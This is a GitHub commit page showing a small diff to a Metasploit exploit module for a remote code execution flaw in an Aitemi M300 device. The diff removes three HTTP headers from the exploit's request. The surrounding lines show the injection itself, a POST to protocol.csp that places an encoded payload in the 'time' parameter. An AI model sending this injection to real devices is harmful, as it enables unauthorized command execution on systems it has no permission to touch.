Skip to content

Commit ff4ede9

Browse files
committed
Remove useless headers
1 parent 87eb063 commit ff4ede9

File tree

1 file changed

+0
-5
lines changed

1 file changed

+0
-5
lines changed

modules/exploits/linux/http/aitemi_m300_time_rce.rb

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -122,11 +122,6 @@ def exploit
122122
send_request_cgi(
123123
'method' => 'POST',
124124
'uri' => normalize_uri(target_uri.path, 'protocol.csp?'),
125-
'headers' => {
126-
'Origin' => "http://#{rhost}",
127-
'Referer' => "http://#{rhost}/network.html",
128-
'X-Requested-With' => 'XMLHttpRequest'
129-
},
130125
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
131126
'data' => "fname=system&opt=time_conf&function=set&time=#{encoded_payload}"
132127
)

0 commit comments

Comments
 (0)